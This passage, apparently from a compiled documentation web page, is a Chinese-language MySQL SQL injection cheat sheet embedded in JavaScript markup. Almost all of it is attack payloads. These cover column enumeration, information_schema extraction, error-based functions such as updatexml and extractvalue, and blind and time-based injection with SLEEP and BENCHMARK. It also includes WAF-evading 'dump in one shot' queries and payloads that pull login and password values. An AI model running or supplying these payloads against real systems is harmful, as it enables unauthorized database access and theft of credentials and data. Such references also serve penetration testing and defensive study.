\u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u65b9\u6cd5\u6709\u6548"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' UNION SELECT @--+ #The used SELECT statements have a different number of columns\n1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns\n1' UNION SELECT @,@,@--+ #No error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-limit-into-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"LIMIT INTO"})," \u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u65b9\u6cd5\u6709\u6548\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5f53\u6ce8\u5165\u70b9\u4f4d\u4e8e LIMIT \u5b50\u53e5\u4e4b\u540e\u65f6\uff0c\u8fd9\u5bf9\u4e8e\u67e5\u627e\u5217\u6570\u975e\u5e38\u6709\u7528\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns\n1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns\n1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-select--from-some_existing_table-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"SELECT * FROM SOME_EXISTING_TABLE"})," \u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u60a8\u77e5\u9053\u8981\u67e5\u627e\u7684\u8868\u540d\u5e76\u4e14\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u64cd\u4f5c\u6709\u6548\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5b83\u5c06\u8fd4\u56de\u8868\u4e2d\u7684\u5217\u6570\uff0c\u800c\u4e0d\u662f\u67e5\u8be2\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' AND (SELECT * FROM Users) = 1--+ \t#Operand should contain 3 column(s)\n # This error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93-_schema",children:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93 _schema"}),"\n",(0,l.jsx)(n.p,{children:"\u7136\u540e\uff0c\u4ee5\u4e0b\u4ee3\u7801\u5c06\u63d0\u53d6\u6570\u636e\u5e93\u7684\u540d\u79f0\u3001\u8868\u7684\u540d\u79f0\u3001\u5217\u7684\u540d\u79f0\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d-_schema",children:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d _schema"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"MySQL >= 4.1"})," \u7684\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u7528\u63d0\u53d6\u5217\u7f16\u53f7"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=(1)and(SELECT * from db.users)=(1)\n-- Operand should contain 4 column(s)\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u7136\u540e\u63d0\u53d6\u5217\u540d\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)\n--Column 'id' cannot be null\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"MySQL 5"})," \u7684\u65b9\u6cd5"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a\n--#1060 - Duplicate column name 'id'\n\n-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a\n-- #1060 - Duplicate column name 'name'\n\n-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a\n...\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",children:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e"}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u4e0d\u77e5\u9053\u7b2c 4 \u5217\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u63d0\u53d6\u6570\u636e\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u67e5\u8be2\u5185\u90e8\u7684\u6ce8\u5165\u793a\u4f8b ",(0,l.jsx)(n.code,{children:"select author_id,title from posts where author_id=[INJECT_HERE]"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\n+-----------+-----------------------------------------------------------------+\n| author_id | title |\n+-----------+-----------------------------------------------------------------+\n| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |\n+-----------+-----------------------------------------------------------------+\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef",children:"\u57fa\u4e8e MYSQL \u9519\u8bef"}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef-\u57fa\u672c",children:"\u57fa\u4e8e MYSQL \u9519\u8bef-\u57fa\u672c"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 4.1"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))\n'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-updatexml-\u51fd\u6570",children:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-UpdateXML \u51fd\u6570"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u9605\u8bfb\u65f6\u95f4\u66f4\u77ed\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"' and updatexml(null,concat(0x0a,version()),null)-- -\n' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -\n"})}),"\n",(0,l.jsx)(n.h3,{id:"mysql-\u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",children:"MYSQL \u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 5.1"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-name_const-\u51fd\u6570\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf",children:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-NAME_CONST \u51fd\u6570\uff08\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf\uff09"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 5.0"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--\n?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--\n?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u76f2",children:"MYSQL \u76f2"}),"\n",(0,l.jsx)(n.h3,{id:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684-mysql-\u76f2",children:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684 MYSQL \u76f2"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 and substring(version(),1,1)=5\n?id=1 and right(left(version(),1),1)=5\n?id=1 and left(version(),1)=4\n?id=1 and ascii(lower(substr(Version(),1,1)))=51\n?id=1 and (select mid(version(),1,1)=4)\n?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'\n?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c-regexp-\u5728-order-by-\u5b50\u53e5\u4e2d\u8fdb\u884c-mysql-\u76f2-sql-\u6ce8\u5165",children:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c REGEXP \u5728 ORDER BY \u5b50\u53e5\u4e2d\u8fdb\u884c MySQL \u76f2 SQL \u6ce8\u5165"}),"\n",(0,l.jsx)(n.p,{children:"\u8fd9\u4e2a\u67e5\u8be2\u57fa\u672c\u4e0a\u6309\u4e00\u5217\u6216\u53e6\u4e00\u5217\u6392\u5e8f\uff0c\u8fd9\u53d6\u51b3\u4e8e EXISTS\uff08\uff09\u662f\u5426\u8fd4\u56de 1. \u4e3a\u4e86\u8ba9 EXISTS\uff08\uff09\u51fd\u6570\u8fd4\u56de 1\uff0cREGEXP \u67e5\u8be2\u9700\u8981\u5339\u914d\uff0c\u8fd9\u610f\u5473\u7740\u60a8\u53ef\u4ee5\u9010\u4e2a\u5b57\u7b26\u5730\u4f2a\u9020\u76f2\u503c\uff0c\u5e76\u5728\u6ca1\u6709\u76f4\u63a5\u8f93\u51fa\u7684\u60c5\u51b5\u4e0b\u4ece\u6570\u636e\u5e93\u6cc4\u6f0f\u6570\u636e\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:'[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -\n'})}),"\n",(0,l.jsx)(n.h3,{id:"mysql-\u76f2-sql-\u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528-regexp",children:"MySQL \u76f2 SQL \u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528 REGEXP\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u6709\u6548\u8f7d\u8377\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:'\' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u5728\u67e5\u8be2\u4e2d\u5de5\u4f5c\uff08\u5176\u4e2d\u201cwhere\u201d\u5b50\u53e5\u662f\u6ce8\u5165\u70b9\uff09\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP \"^a.*\") THEN SLEEP(3) ELSE 1 END)); -- -';\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u4e0a\u8ff0\u67e5\u8be2\u4e2d\uff0c\u5b83\u5c06\u68c0\u67e5\u201c\u9879\u76ee\u201d\u6570\u636e\u5e93\u4e2d\u4ee5\u201ca\u201d\u5f00\u5934\u7684\u201c\u540d\u79f0\u201d\u5217\u4e2d\u662f\u5426\u5b58\u5728\u9879\u76ee\u3002\u5982\u679c\u5b83\u80fd\u4e3a\u6bcf\u4e2a\u9879\u76ee\u7761\u7720 3 \u79d2\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684-mysql-\u76f2",children:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684 MYSQL \u76f2"}),"\n",(0,l.jsxs)(n.p,{children:["\u771f\uff1a ",(0,l.jsx)(n.code,{children:"if @@version starts with a 5"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2\nResponse:\nHTTP/1.1 500 Internal Server Error\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"if @@version starts with a 4"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2\nResponse:\nHTTP/1.1 200 OK\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5e26-make_set-\u7684-mysql-\u76f2",children:"\u5e26 MAKE_SET \u7684 MYSQL \u76f2"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"AND MAKE_SET(YOLO<(SELECT(length(version()))),1)\nAND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)\nAND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)\nAND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5e26-like-\u7684-mysql-\u76f2",children:"\u5e26 LIKE \u7684 MYSQL \u76f2"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php",children:"'_'"}),"\u7684\u4f5c\u7528\u7c7b\u4f3c\u6b63\u5219\u8868\u8fbe\u5f0f\u5b57\u7b26\u201c.\u201d\uff0c\u7528\u5b83\u6765\u52a0\u901f\u60a8\u7684\u76f2\u6d4b"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u57fa\u4e8e\u65f6\u95f4",children:"MYSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e0b SQL \u4ee3\u7801\u5c06\u5ef6\u8fdf MySQL \u7684\u8f93\u51fa\u3002"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["MySQL 4/5: ",(0,l.jsx)(n.code,{children:"BENCHMARK()"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"+BENCHMARK(40000000,SHA1(1337))+\n'%2Bbenchmark(3200,SHA1(1))%2B'\nAND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["MySQL 5: ",(0,l.jsx)(n.code,{children:"SLEEP()"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"RLIKE SLEEP([SLEEPTIME])\nOR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))\n"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528-sleep",children:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528 SLEEP"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"1 and (select sleep(10) from dual where database() like '%')#\n1 and (select sleep(10) from dual where database() like '___')# \n1 and (select sleep(10) from dual where database() like '____')#\n1 and (select sleep(10) from dual where database() like '_____')#\n1 and (select sleep(10) from dual where database() like 'a____')#\n...\n1 and (select sleep(10) from dual where database() like 's____')#\n1 and (select sleep(10) from dual where database() like 'sa___')#\n...\n1 and (select sleep(10) from dual where database() like 'sw___')#\n1 and (select sleep(10) from dual where database() like 'swa__')#\n1 and (select sleep(10) from dual where database() like 'swb__')#\n1 and (select sleep(10) from dual where database() like 'swi__')#\n...\n1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",children:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --\n?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --\n?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-dios-\u4e00\u6b21\u6027\u8f6c\u50a8",children:"MYSQL DIOS-\u4e00\u6b21\u6027\u8f6c\u50a8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#\n\n(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#\n\n-- SecurityIdiots\nmake_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)\n\n-- Profexer\n(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)\n\n-- Dr.Z3r0\n(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))\n\n-- M@dBl00d\n(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))\n\n-- Zen\n+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)\n\n-- Zen WAF\n(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)\n\n-- ~tr0jAn WAF\n+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+\n\n-- ~tr0jAn Benchmark\n+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+\n\n-- N1Z4M WAF\n+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+\n\n-- 